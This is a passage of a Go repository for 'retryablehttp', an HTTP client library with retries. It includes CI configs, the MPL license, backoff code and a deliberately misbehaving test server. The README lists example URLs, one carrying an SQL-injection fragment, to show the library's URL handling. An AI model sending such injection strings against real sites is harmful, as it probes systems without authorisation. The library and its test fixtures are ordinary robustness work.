├── .github ├── ISSUE_TEMPLATE │ ├── config.yml │ ├── feature_request.md │ └── issue-report.md ├── dependabot.yml └── workflows │ ├── build-test.yml │ ├── codeql-analysis.yml │ ├── dep-auto-merge.yml │ ├── lint-test.yml │ └── release-tag.yml ├── LICENSE.md ├── README.md ├── backoff.go ├── buggyhttp ├── buggyhttp.go ├── cmd │ ├── generateCA.sh │ ├── main.go │ ├── server.crt │ └── server.key └── random.go ├── client.go ├── client_test.go ├── default_client.go ├── default_client_test.go ├── do.go ├── doc.go ├── examples └── main.go ├── go.mod ├── go.sum ├── http.go ├── methods.go ├── request.go ├── request_test.go ├── retry.go ├── trace.go └── util.go /.github/ISSUE_TEMPLATE/config.yml: -------------------------------------------------------------------------------- 1 | blank_issues_enabled: false 2 | 3 | contact_links: 4 | - name: Ask an question / advise on using retryablehttp 5 | url: https://github.com/projectdiscovery/retryablehttp/discussions/categories/q-a 6 | about: Ask a question or request support for using retryablehttp 7 | 8 | - name: Share idea / feature to discuss for retryablehttp 9 | url: https://github.com/projectdiscovery/retryablehttp/discussions/categories/ideas 10 | about: Share idea / feature to discuss for retryablehttp 11 | 12 | - name: Connect with PD Team (Discord) 13 | url: https://discord.gg/projectdiscovery 14 | about: Connect with PD Team for direct communication -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Request feature to implement in this project 4 | labels: 'Type: Enhancement' 5 | --- 6 | 7 | 13 | 14 | ### Please describe your feature request: 15 | 16 | 17 | ### Describe the use case of this feature: 18 | 19 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/issue-report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Issue report 3 | about: Create a report to help us to improve the project 4 | labels: 'Type: Bug' 5 | 6 | --- 7 | 8 | 13 | 14 | 15 | 16 | ### retryablehttp version: 17 | 18 | 19 | 20 | 21 | ### Current Behavior: 22 | 23 | 24 | ### Expected Behavior: 25 | 26 | 27 | ### Steps To Reproduce: 28 | 33 | 34 | 35 | ### Anything else: 36 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # To get started with Dependabot version updates, you'll need to specify which 2 | # package ecosystems to update and where the package manifests are located. 3 | # Please see the documentation for all configuration options: 4 | # https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates 5 | 6 | version: 2 7 | updates: 8 | 9 | # Maintain dependencies for go modules 10 | - package-ecosystem: "gomod" 11 | directory: "/" 12 | schedule: 13 | interval: "weekly" 14 | target-branch: "main" 15 | commit-message: 16 | prefix: "chore" 17 | include: "scope" 18 | labels: 19 | - "Type: Maintenance" 20 | allow: 21 | - dependency-name: "github.com/projectdiscovery/*" 22 | 23 | # # Maintain dependencies for GitHub Actions 24 | # - package-ecosystem: "github-actions" 25 | # directory: "/" 26 | # schedule: 27 | # interval: "weekly" 28 | # target-branch: "dev" 29 | # commit-message: 30 | # prefix: "chore" 31 | # include: "scope" 32 | # labels: 33 | # - "Type: Maintenance" 34 | # 35 | # # Maintain dependencies for docker 36 | # - package-ecosystem: "docker" 37 | # directory: "/" 38 | # schedule: 39 | # interval: "weekly" 40 | # target-branch: "dev" 41 | # commit-message: 42 | # prefix: "chore" 43 | # include: "scope" 44 | # labels: 45 | # - "Type: Maintenance" 46 | -------------------------------------------------------------------------------- /.github/workflows/build-test.yml: -------------------------------------------------------------------------------- 1 | name: 🔨 Build Test 2 | 3 | on: 4 | pull_request: 5 | workflow_dispatch: 6 | 7 | jobs: 8 | build: 9 | name: Test Builds 10 | runs-on: ${{ matrix.os }} 11 | strategy: 12 | matrix: 13 | os: [ubuntu-latest, windows-latest, macOS-latest] 14 | steps: 15 | - name: Set up Go 16 | uses: actions/setup-go@v4 17 | with: 18 | go-version: 1.21.x 19 | 20 | - name: Check out code 21 | uses: actions/checkout@v3 22 | 23 | - name: Test 24 | run: go test ./... 25 | 26 | - name: Run Example 27 | run: go run . 28 | working-directory: examples/ -------------------------------------------------------------------------------- /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | name: 🚨 CodeQL Analysis 2 | 3 | on: 4 | workflow_dispatch: 5 | pull_request: 6 | 7 | jobs: 8 | analyze: 9 | name: Analyze 10 | runs-on: ubuntu-latest 11 | permissions: 12 | actions: read 13 | contents: read 14 | security-events: write 15 | 16 | strategy: 17 | fail-fast: false 18 | matrix: 19 | language: [ 'go' ] 20 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ] 21 | 22 | steps: 23 | - name: Checkout repository 24 | uses: actions/checkout@v3 25 | 26 | # Initializes the CodeQL tools for scanning. 27 | - name: Initialize CodeQL 28 | uses: github/codeql-action/init@v2 29 | with: 30 | languages: ${{ matrix.language }} 31 | 32 | - name: Autobuild 33 | uses: github/codeql-action/autobuild@v2 34 | 35 | - name: Perform CodeQL Analysis 36 | uses: github/codeql-action/analyze@v2 -------------------------------------------------------------------------------- /.github/workflows/dep-auto-merge.yml: -------------------------------------------------------------------------------- 1 | name: 🤖 dep auto merge 2 | 3 | on: 4 | pull_request: 5 | branches: 6 | - main 7 | workflow_dispatch: 8 | 9 | permissions: 10 | pull-requests: write 11 | issues: write 12 | repository-projects: write 13 | 14 | jobs: 15 | automerge: 16 | runs-on: ubuntu-latest 17 | if: github.actor == 'dependabot[bot]' 18 | steps: 19 | - uses: actions/checkout@v3 20 | with: 21 | token: ${{ secrets.DEPENDABOT_PAT }} 22 | 23 | - uses: ahmadnassri/action-dependabot-auto-merge@v2 24 | with: 25 | github-token: ${{ secrets.DEPENDABOT_PAT }} 26 | target: all 27 | -------------------------------------------------------------------------------- /.github/workflows/lint-test.yml: -------------------------------------------------------------------------------- 1 | name: 🙏🏻 Lint Test 2 | 3 | on: 4 | pull_request: 5 | workflow_dispatch: 6 | 7 | jobs: 8 | lint: 9 | name: Lint Test 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Checkout code 13 | uses: actions/checkout@v3 14 | 15 | - name: Set up Go 16 | uses: actions/setup-go@v4 17 | with: 18 | go-version: 1.21.x 19 | 20 | - name: Run golangci-lint 21 | uses: golangci/golangci-lint-action@v3 22 | with: 23 | version: latest 24 | args: --timeout 5m 25 | working-directory: . -------------------------------------------------------------------------------- /.github/workflows/release-tag.yml: -------------------------------------------------------------------------------- 1 | name: 🔖 Release Tag 2 | 3 | on: 4 | workflow_dispatch: 5 | schedule: 6 | - cron: '0 0 * * 0' 7 | 8 | jobs: 9 | build: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Check out code 13 | uses: actions/checkout@v3 14 | with: 15 | fetch-depth: 0 16 | 17 | - name: Get Commit Count 18 | id: get_commit 19 | run: git rev-list `git rev-list --tags --no-walk --max-count=1`..HEAD --count | xargs -I {} echo COMMIT_COUNT={} >> $GITHUB_OUTPUT 20 | 21 | - name: Create release and tag 22 | if: ${{ steps.get_commit.outputs.COMMIT_COUNT > 0 }} 23 | id: tag_version 24 | uses: mathieudutour/github-tag-action@v6.1 25 | with: 26 | github_token: ${{ secrets.GITHUB_TOKEN }} 27 | 28 | - name: Create a GitHub release 29 | if: ${{ steps.get_commit.outputs.COMMIT_COUNT > 0 }} 30 | uses: actions/create-release@v1 31 | env: 32 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 33 | with: 34 | tag_name: ${{ steps.tag_version.outputs.new_tag }} 35 | release_name: Release ${{ steps.tag_version.outputs.new_tag }} 36 | body: ${{ steps.tag_version.outputs.changelog }} 37 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Mozilla Public License, version 2.0 2 | 3 | 1. Definitions 4 | 5 | 1.1. "Contributor" 6 | 7 | means each individual or legal entity that creates, contributes to the 8 | creation of, or owns Covered Software. 9 | 10 | 1.2. "Contributor Version" 11 | 12 | means the combination of the Contributions of others (if any) used by a 13 | Contributor and that particular Contributor's Contribution. 14 | 15 | 1.3. "Contribution" 16 | 17 | means Covered Software of a particular Contributor. 18 | 19 | 1.4. "Covered Software" 20 | 21 | means Source Code Form to which the initial Contributor has attached the 22 | notice in Exhibit A, the Executable Form of such Source Code Form, and 23 | Modifications of such Source Code Form, in each case including portions 24 | thereof. 25 | 26 | 1.5. "Incompatible With Secondary Licenses" 27 | means 28 | 29 | a. that the initial Contributor has attached the notice described in 30 | Exhibit B to the Covered Software; or 31 | 32 | b. that the Covered Software was made available under the terms of 33 | version 1.1 or earlier of the License, but not also under the terms of 34 | a Secondary License. 35 | 36 | 1.6. "Executable Form" 37 | 38 | means any form of the work other than Source Code Form. 39 | 40 | 1.7. "Larger Work" 41 | 42 | means a work that combines Covered Software with other material, in a 43 | separate file or files, that is not Covered Software. 44 | 45 | 1.8. "License" 46 | 47 | means this document. 48 | 49 | 1.9. "Licensable" 50 | 51 | means having the right to grant, to the maximum extent possible, whether 52 | at the time of the initial grant or subsequently, any and all of the 53 | rights conveyed by this License. 54 | 55 | 1.10. "Modifications" 56 | 57 | means any of the following: 58 | 59 | a. any file in Source Code Form that results from an addition to, 60 | deletion from, or modification of the contents of Covered Software; or 61 | 62 | b. any new file in Source Code Form that contains any Covered Software. 63 | 64 | 1.11. "Patent Claims" of a Contributor 65 | 66 | means any patent claim(s), including without limitation, method, 67 | process, and apparatus claims, in any patent Licensable by such 68 | Contributor that would be infringed, but for the grant of the License, 69 | by the making, using, selling, offering for sale, having made, import, 70 | or transfer of either its Contributions or its Contributor Version. 71 | 72 | 1.12. "Secondary License" 73 | 74 | means either the GNU General Public License, Version 2.0, the GNU Lesser 75 | General Public License, Version 2.1, the GNU Affero General Public 76 | License, Version 3.0, or any later versions of those licenses. 77 | 78 | 1.13. "Source Code Form" 79 | 80 | means the form of the work preferred for making modifications. 81 | 82 | 1.14. "You" (or "Your") 83 | 84 | means an individual or a legal entity exercising rights under this 85 | License. For legal entities, "You" includes any entity that controls, is 86 | controlled by, or is under common control with You. For purposes of this 87 | definition, "control" means (a) the power, direct or indirect, to cause 88 | the direction or management of such entity, whether by contract or 89 | otherwise, or (b) ownership of more than fifty percent (50%) of the 90 | outstanding shares or beneficial ownership of such entity. 91 | 92 | 93 | 2. License Grants and Conditions 94 | 95 | 2.1. Grants 96 | 97 | Each Contributor hereby grants You a world-wide, royalty-free, 98 | non-exclusive license: 99 | 100 | a. under intellectual property rights (other than patent or trademark) 101 | Licensable by such Contributor to use, reproduce, make available, 102 | modify, display, perform, distribute, and otherwise exploit its 103 | Contributions, either on an unmodified basis, with Modifications, or 104 | as part of a Larger Work; and 105 | 106 | b. under Patent Claims of such Contributor to make, use, sell, offer for 107 | sale, have made, import, and otherwise transfer either its 108 | Contributions or its Contributor Version. 109 | 110 | 2.2. Effective Date 111 | 112 | The licenses granted in Section 2.1 with respect to any Contribution 113 | become effective for each Contribution on the date the Contributor first 114 | distributes such Contribution. 115 | 116 | 2.3. Limitations on Grant Scope 117 | 118 | The licenses granted in this Section 2 are the only rights granted under 119 | this License. No additional rights or licenses will be implied from the 120 | distribution or licensing of Covered Software under this License. 121 | Notwithstanding Section 2.1(b) above, no patent license is granted by a 122 | Contributor: 123 | 124 | a. for any code that a Contributor has removed from Covered Software; or 125 | 126 | b. for infringements caused by: (i) Your and any other third party's 127 | modifications of Covered Software, or (ii) the combination of its 128 | Contributions with other software (except as part of its Contributor 129 | Version); or 130 | 131 | c. under Patent Claims infringed by Covered Software in the absence of 132 | its Contributions. 133 | 134 | This License does not grant any rights in the trademarks, service marks, 135 | or logos of any Contributor (except as may be necessary to comply with 136 | the notice requirements in Section 3.4). 137 | 138 | 2.4. Subsequent Licenses 139 | 140 | No Contributor makes additional grants as a result of Your choice to 141 | distribute the Covered Software under a subsequent version of this 142 | License (see Section 10.2) or under the terms of a Secondary License (if 143 | permitted under the terms of Section 3.3). 144 | 145 | 2.5. Representation 146 | 147 | Each Contributor represents that the Contributor believes its 148 | Contributions are its original creation(s) or it has sufficient rights to 149 | grant the rights to its Contributions conveyed by this License. 150 | 151 | 2.6. Fair Use 152 | 153 | This License is not intended to limit any rights You have under 154 | applicable copyright doctrines of fair use, fair dealing, or other 155 | equivalents. 156 | 157 | 2.7. Conditions 158 | 159 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in 160 | Section 2.1. 161 | 162 | 163 | 3. Responsibilities 164 | 165 | 3.1. Distribution of Source Form 166 | 167 | All distribution of Covered Software in Source Code Form, including any 168 | Modifications that You create or to which You contribute, must be under 169 | the terms of this License. You must inform recipients that the Source 170 | Code Form of the Covered Software is governed by the terms of this 171 | License, and how they can obtain a copy of this License. You may not 172 | attempt to alter or restrict the recipients' rights in the Source Code 173 | Form. 174 | 175 | 3.2. Distribution of Executable Form 176 | 177 | If You distribute Covered Software in Executable Form then: 178 | 179 | a. such Covered Software must also be made available in Source Code Form, 180 | as described in Section 3.1, and You must inform recipients of the 181 | Executable Form how they can obtain a copy of such Source Code Form by 182 | reasonable means in a timely manner, at a charge no more than the cost 183 | of distribution to the recipient; and 184 | 185 | b. You may distribute such Executable Form under the terms of this 186 | License, or sublicense it under different terms, provided that the 187 | license for the Executable Form does not attempt to limit or alter the 188 | recipients' rights in the Source Code Form under this License. 189 | 190 | 3.3. Distribution of a Larger Work 191 | 192 | You may create and distribute a Larger Work under terms of Your choice, 193 | provided that You also comply with the requirements of this License for 194 | the Covered Software. If the Larger Work is a combination of Covered 195 | Software with a work governed by one or more Secondary Licenses, and the 196 | Covered Software is not Incompatible With Secondary Licenses, this 197 | License permits You to additionally distribute such Covered Software 198 | under the terms of such Secondary License(s), so that the recipient of 199 | the Larger Work may, at their option, further distribute the Covered 200 | Software under the terms of either this License or such Secondary 201 | License(s). 202 | 203 | 3.4. Notices 204 | 205 | You may not remove or alter the substance of any license notices 206 | (including copyright notices, patent notices, disclaimers of warranty, or 207 | limitations of liability) contained within the Source Code Form of the 208 | Covered Software, except that You may alter any license notices to the 209 | extent required to remedy known factual inaccuracies. 210 | 211 | 3.5. Application of Additional Terms 212 | 213 | You may choose to offer, and to charge a fee for, warranty, support, 214 | indemnity or liability obligations to one or more recipients of Covered 215 | Software. However, You may do so only on Your own behalf, and not on 216 | behalf of any Contributor. You must make it absolutely clear that any 217 | such warranty, support, indemnity, or liability obligation is offered by 218 | You alone, and You hereby agree to indemnify every Contributor for any 219 | liability incurred by such Contributor as a result of warranty, support, 220 | indemnity or liability terms You offer. You may include additional 221 | disclaimers of warranty and limitations of liability specific to any 222 | jurisdiction. 223 | 224 | 4. Inability to Comply Due to Statute or Regulation 225 | 226 | If it is impossible for You to comply with any of the terms of this License 227 | with respect to some or all of the Covered Software due to statute, 228 | judicial order, or regulation then You must: (a) comply with the terms of 229 | this License to the maximum extent possible; and (b) describe the 230 | limitations and the code they affect. Such description must be placed in a 231 | text file included with all distributions of the Covered Software under 232 | this License. Except to the extent prohibited by statute or regulation, 233 | such description must be sufficiently detailed for a recipient of ordinary 234 | skill to be able to understand it. 235 | 236 | 5. Termination 237 | 238 | 5.1. The rights granted under this License will terminate automatically if You 239 | fail to comply with any of its terms. However, if You become compliant, 240 | then the rights granted under this License from a particular Contributor 241 | are reinstated (a) provisionally, unless and until such Contributor 242 | explicitly and finally terminates Your grants, and (b) on an ongoing 243 | basis, if such Contributor fails to notify You of the non-compliance by 244 | some reasonable means prior to 60 days after You have come back into 245 | compliance. Moreover, Your grants from a particular Contributor are 246 | reinstated on an ongoing basis if such Contributor notifies You of the 247 | non-compliance by some reasonable means, this is the first time You have 248 | received notice of non-compliance with this License from such 249 | Contributor, and You become compliant prior to 30 days after Your receipt 250 | of the notice. 251 | 252 | 5.2. If You initiate litigation against any entity by asserting a patent 253 | infringement claim (excluding declaratory judgment actions, 254 | counter-claims, and cross-claims) alleging that a Contributor Version 255 | directly or indirectly infringes any patent, then the rights granted to 256 | You by any and all Contributors for the Covered Software under Section 257 | 2.1 of this License shall terminate. 258 | 259 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user 260 | license agreements (excluding distributors and resellers) which have been 261 | validly granted by You or Your distributors under this License prior to 262 | termination shall survive termination. 263 | 264 | 6. Disclaimer of Warranty 265 | 266 | Covered Software is provided under this License on an "as is" basis, 267 | without warranty of any kind, either expressed, implied, or statutory, 268 | including, without limitation, warranties that the Covered Software is free 269 | of defects, merchantable, fit for a particular purpose or non-infringing. 270 | The entire risk as to the quality and performance of the Covered Software 271 | is with You. Should any Covered Software prove defective in any respect, 272 | You (not any Contributor) assume the cost of any necessary servicing, 273 | repair, or correction. This disclaimer of warranty constitutes an essential 274 | part of this License. No use of any Covered Software is authorized under 275 | this License except under this disclaimer. 276 | 277 | 7. Limitation of Liability 278 | 279 | Under no circumstances and under no legal theory, whether tort (including 280 | negligence), contract, or otherwise, shall any Contributor, or anyone who 281 | distributes Covered Software as permitted above, be liable to You for any 282 | direct, indirect, special, incidental, or consequential damages of any 283 | character including, without limitation, damages for lost profits, loss of 284 | goodwill, work stoppage, computer failure or malfunction, or any and all 285 | other commercial damages or losses, even if such party shall have been 286 | informed of the possibility of such damages. This limitation of liability 287 | shall not apply to liability for death or personal injury resulting from 288 | such party's negligence to the extent applicable law prohibits such 289 | limitation. Some jurisdictions do not allow the exclusion or limitation of 290 | incidental or consequential damages, so this exclusion and limitation may 291 | not apply to You. 292 | 293 | 8. Litigation 294 | 295 | Any litigation relating to this License may be brought only in the courts 296 | of a jurisdiction where the defendant maintains its principal place of 297 | business and such litigation shall be governed by laws of that 298 | jurisdiction, without reference to its conflict-of-law provisions. Nothing 299 | in this Section shall prevent a party's ability to bring cross-claims or 300 | counter-claims. 301 | 302 | 9. Miscellaneous 303 | 304 | This License represents the complete agreement concerning the subject 305 | matter hereof. If any provision of this License is held to be 306 | unenforceable, such provision shall be reformed only to the extent 307 | necessary to make it enforceable. Any law or regulation which provides that 308 | the language of a contract shall be construed against the drafter shall not 309 | be used to construe this License against a Contributor. 310 | 311 | 312 | 10. Versions of the License 313 | 314 | 10.1. New Versions 315 | 316 | Mozilla Foundation is the license steward. Except as provided in Section 317 | 10.3, no one other than the license steward has the right to modify or 318 | publish new versions of this License. Each version will be given a 319 | distinguishing version number. 320 | 321 | 10.2. Effect of New Versions 322 | 323 | You may distribute the Covered Software under the terms of the version 324 | of the License under which You originally received the Covered Software, 325 | or under the terms of any subsequent version published by the license 326 | steward. 327 | 328 | 10.3. Modified Versions 329 | 330 | If you create software not governed by this License, and you want to 331 | create a new license for such software, you may create and use a 332 | modified version of this License if you rename the license and remove 333 | any references to the name of the license steward (except to note that 334 | such modified license differs from this License). 335 | 336 | 10.4. Distributing Source Code Form that is Incompatible With Secondary 337 | Licenses If You choose to distribute Source Code Form that is 338 | Incompatible With Secondary Licenses under the terms of this version of 339 | the License, the notice described in Exhibit B of this License must be 340 | attached. 341 | 342 | Exhibit A - Source Code Form License Notice 343 | 344 | This Source Code Form is subject to the 345 | terms of the Mozilla Public License, v. 346 | 2.0. If a copy of the MPL was not 347 | distributed with this file, You can 348 | obtain one at 349 | http://mozilla.org/MPL/2.0/. 350 | 351 | If it is not possible or desirable to put the notice in a particular file, 352 | then You may include the notice in a location (such as a LICENSE file in a 353 | relevant directory) where a recipient would be likely to look for such a 354 | notice. 355 | 356 | You may add additional accurate notices of copyright ownership. 357 | 358 | Exhibit B - "Incompatible With Secondary Licenses" Notice 359 | 360 | This Source Code Form is "Incompatible 361 | With Secondary Licenses", as defined by 362 | the Mozilla Public License, v. 2.0. 363 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # retryablehttp 2 | 3 | Heavily inspired from [https://github.com/hashicorp/go-retryablehttp](https://github.com/hashicorp/go-retryablehttp). 4 | 5 | ### Usage 6 | 7 | Example of using `retryablehttp` in Go Code is available in [examples](examples/) folder 8 | Examples of using Nuclei From Go Code to run templates on targets are provided in the examples folder. 9 | 10 | 11 | ### url encoding and parsing issues 12 | 13 | `retryablehttp.Request` by default handles some [url encoding and parameters issues](https://github.com/projectdiscovery/utils/blob/main/url/README.md). since `http.Request` internally uses `url.Parse()` to parse url specified in request it creates some inconsistencies for below urls and other non-RFC compilant urls 14 | 15 | ``` 16 | // below urls are either normalized or returns error when used in `http.NewRequest()` 17 | https://scanme.sh/%invalid 18 | https://scanme.sh/w%0d%2e/ 19 | scanme.sh/with/path?some'param=`'+OR+ORDER+BY+1-- 20 | ``` 21 | All above mentioned cases are handled internally in `retryablehttp`. 22 | 23 | ### Note 24 | It is not recommended to update `url.URL` instance of `Request` once a new request is created (ex `req.URL.Path = xyz`) due to internal logic of urls. 25 | In any case if it is not possible to follow above point due to some reason helper methods are available to reflect such changes 26 | 27 | - `Request.Update()` commits any changes made to query parameters (ex: `Request.URL.Query().Add(x,y)`) 28 | -------------------------------------------------------------------------------- /backoff.go: -------------------------------------------------------------------------------- 1 | package retryablehttp 2 | 3 | import ( 4 | "math" 5 | "math/rand" 6 | "net/http" 7 | "sync" 8 | "time" 9 | ) 10 | 11 | // Backoff specifies a policy for how long to wait between retries. 12 | // It is called after a failing request to determine the amount of time 13 | // that should pass before trying again. 14 | type Backoff func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration 15 | 16 | // DefaultBackoff provides a default callback for Client.Backoff which 17 | // will perform exponential backoff based on the attempt number and limited 18 | // by the provided minimum and maximum durations. 19 | func DefaultBackoff() func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 20 | return func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 21 | mult := math.Pow(2, float64(attemptNum)) * float64(min) 22 | 23 | sleep := time.Duration(mult) 24 | if float64(sleep) != mult || sleep > max { 25 | sleep = max 26 | } 27 | return sleep 28 | } 29 | } 30 | 31 | // LinearJitterBackoff provides a callback for Client.Backoff which will 32 | // perform linear backoff based on the attempt number and with jitter to 33 | // prevent a thundering herd. 34 | // 35 | // min and max here are *not* absolute values. The number to be multipled by 36 | // the attempt number will be chosen at random from between them, thus they are 37 | // bounding the jitter. 38 | // 39 | // For instance: 40 | // - To get strictly linear backoff of one second increasing each retry, set 41 | // both to one second (1s, 2s, 3s, 4s, ...) 42 | // - To get a small amount of jitter centered around one second increasing each 43 | // retry, set to around one second, such as a min of 800ms and max of 1200ms 44 | // (892ms, 2102ms, 2945ms, 4312ms, ...) 45 | // - To get extreme jitter, set to a very wide spread, such as a min of 100ms 46 | // and a max of 20s (15382ms, 292ms, 51321ms, 35234ms, ...) 47 | func LinearJitterBackoff() func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 48 | // Seed a global random number generator and use it to generate random 49 | // numbers for the backoff. Use a mutex for protecting the source 50 | rand := rand.New(rand.NewSource(int64(time.Now().Nanosecond()))) 51 | randMutex := &sync.Mutex{} 52 | 53 | return func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 54 | // attemptNum always starts at zero but we want to start at 1 for multiplication 55 | attemptNum++ 56 | 57 | if max <= min { 58 | // Unclear what to do here, or they are the same, so return min * 59 | // attemptNum 60 | return min * time.Duration(attemptNum) 61 | } 62 | 63 | // Pick a random number that lies somewhere between the min and max and 64 | // multiply by the attemptNum. attemptNum starts at zero so we always 65 | // increment here. We first get a random percentage, then apply that to the 66 | // difference between min and max, and add to min. 67 | randMutex.Lock() 68 | jitter := rand.Float64() * float64(max-min) 69 | randMutex.Unlock() 70 | 71 | jitterMin := int64(jitter) + int64(min) 72 | return time.Duration(jitterMin * int64(attemptNum)) 73 | } 74 | } 75 | 76 | // FullJitterBackoff implements capped exponential backoff 77 | // with jitter. Algorithm is fast because it does not use floating 78 | // point arithmetics. It returns a random number between [0...n] 79 | // https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/ 80 | func FullJitterBackoff() func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 81 | // Seed a global random number generator and use it to generate random 82 | // numbers for the backoff. Use a mutex for protecting the source 83 | rand := rand.New(rand.NewSource(int64(time.Now().Nanosecond()))) 84 | randMutex := &sync.Mutex{} 85 | 86 | return func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 87 | duration := attemptNum * 1000000000 << 1 88 | 89 | randMutex.Lock() 90 | jitter := rand.Intn(duration-attemptNum) + int(min) 91 | randMutex.Unlock() 92 | 93 | if jitter > int(max) { 94 | return max 95 | } 96 | 97 | return time.Duration(jitter) 98 | } 99 | } 100 | 101 | // ExponentialJitterBackoff provides a callback for Client.Backoff which will 102 | // perform en exponential backoff based on the attempt number and with jitter to 103 | // prevent a thundering herd. 104 | // 105 | // min and max here are *not* absolute values. The number to be multipled by 106 | // the attempt number will be chosen at random from between them, thus they are 107 | // bounding the jitter. 108 | func ExponentialJitterBackoff() func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 109 | // Seed a global random number generator and use it to generate random 110 | // numbers for the backoff. Use a mutex for protecting the source 111 | rand := rand.New(rand.NewSource(int64(time.Now().Nanosecond()))) 112 | randMutex := &sync.Mutex{} 113 | 114 | return func(min, max time.Duration, attemptNum int, resp *http.Response) time.Duration { 115 | minf := float64(min) 116 | mult := math.Pow(2, float64(attemptNum)) * minf 117 | 118 | randMutex.Lock() 119 | jitter := rand.Float64() * (mult - minf) 120 | randMutex.Unlock() 121 | 122 | mult = mult + jitter 123 | 124 | sleep := time.Duration(mult) 125 | if sleep > max { 126 | sleep = max 127 | } 128 | 129 | return sleep 130 | } 131 | } 132 | -------------------------------------------------------------------------------- /buggyhttp/buggyhttp.go: -------------------------------------------------------------------------------- 1 | // Package buggyhttp is a webserver affected by any kind of network issues 2 | package buggyhttp 3 | 4 | import ( 5 | "context" 6 | "fmt" 7 | "net/http" 8 | "strconv" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | const ( 14 | defaultSuccessAfterThreshold = 10 15 | ) 16 | 17 | // SO MANY BYTES 18 | func endlessBody(w http.ResponseWriter, req *http.Request) { 19 | for { 20 | if _, err := fmt.Fprintf(w, "boo"); err != nil { 21 | // this allows to quit the go routine when the client disconnects 22 | break 23 | } 24 | } 25 | } 26 | 27 | // SO MANY SECONDS 28 | func endlessWaitTime(w http.ResponseWriter, req *http.Request) { 29 | for { 30 | if _, err := fmt.Fprintf(w, ""); err != nil { 31 | // this allows to quit the go routine when the client disconnects 32 | break 33 | } 34 | } 35 | } 36 | 37 | // SO MANY HEADERS 38 | func messyHeaders(w http.ResponseWriter, req *http.Request) { 39 | for { 40 | if _, err := fmt.Fprintf(w, "%v: %v\n", SecureRandomAlphaString(10), SecureRandomAlphaString(255)); err != nil { 41 | // this allows to quit the go routine when the client disconnects 42 | break 43 | } 44 | } 45 | } 46 | 47 | // SO MANY ENCODINGS 48 | func messyEncoding(w http.ResponseWriter, req *http.Request) { 49 | var soManyEncodings = []string{ 50 | "Foo: bar\r\n", 51 | "X-Foo: bar\r\n", 52 | "Foo: a space\r\n", 53 | "A space: foo\r\n", // space in header 54 | "foo\xffbar: foo\r\n", // binary in header 55 | "foo\x00bar: foo\r\n", // binary in header 56 | "Foo: " + strings.Repeat("x", 1<<21) + "\r\n", // header too large 57 | // Spaces between the header key and colon are not allowed. 58 | // See RFC 7230, Section 3.2.4. 59 | "Foo : bar\r\n", 60 | "Foo\t: bar\r\n", 61 | 62 | "foo: foo foo\r\n", // LWS space is okay 63 | "foo: foo\tfoo\r\n", // LWS tab is okay 64 | "foo: foo\x00foo\r\n", // CTL 0x00 in value is bad 65 | "foo: foo\x7ffoo\r\n", // CTL 0x7f in value is bad 66 | "foo: foo\xfffoo\r\n", // non-ASCII high octets in value are fine 67 | } 68 | 69 | for _, oneencodingfrommany := range soManyEncodings { 70 | fmt.Fprint(w, oneencodingfrommany) 71 | } 72 | } 73 | 74 | // SO MANY DELAYS 75 | func superSlow(w http.ResponseWriter, req *http.Request) { 76 | // echoes out all requests headers (just because we are lazy) 77 | z := w.(http.Flusher) 78 | for name, headers := range req.Header { 79 | for _, h := range headers { 80 | fmt.Fprintf(w, "%v: %v\n", name, h) 81 | z.Flush() 82 | time.Sleep(250 * time.Millisecond) 83 | } 84 | } 85 | 86 | // starts to write body with good pauses in between 87 | for { 88 | if _, err := fmt.Fprintf(w, "booboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboobooboo\n"); err != nil { 89 | // this allows to quit the go routine when the client disconnects 90 | break 91 | } 92 | z.Flush() 93 | time.Sleep(250 * time.Millisecond) 94 | } 95 | } 96 | 97 | // simulates server closing immediately the connection without reply 98 | func emptyResponse(w http.ResponseWriter, req *http.Request) { 99 | hj, _ := w.(http.Hijacker) 100 | conn, _, _ := hj.Hijack() 101 | defer conn.Close() 102 | } 103 | 104 | // SO MANY REDIRECTS 105 | func infiniteRedirects(w http.ResponseWriter, req *http.Request) { 106 | w.Header().Set("Location", "/infiniteRedirects") 107 | w.WriteHeader(http.StatusMovedPermanently) 108 | } 109 | 110 | // simulates connection dropping in the middle of a valid http response 111 | func unexpectedEOF(w http.ResponseWriter, req *http.Request) { 112 | hj, _ := w.(http.Hijacker) 113 | conn, bufrw, _ := hj.Hijack() 114 | defer conn.Close() 115 | // reply with bogus data - this should either crash the client or trigger a recoverable error on 116 | // default retryablehttp requests 117 | _, _ = bufrw.WriteString("HTTP/1.1 200 OK\n" + 118 | "Date: Mon, 27 Jul 2009 12:28:53 GMT\n" + 119 | "Server:\n") 120 | // "Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT" + 121 | // "Content-Length: -124" + 122 | // "Content-Type: whatzdacontenttype" + 123 | // "Connection: drunk") 124 | bufrw.Flush() 125 | } 126 | 127 | // Simulate normal 200 answer with body 128 | func foo(w http.ResponseWriter, req *http.Request) { 129 | fmt.Fprintf(w, "foo") 130 | } 131 | 132 | // generates recoverable errors until 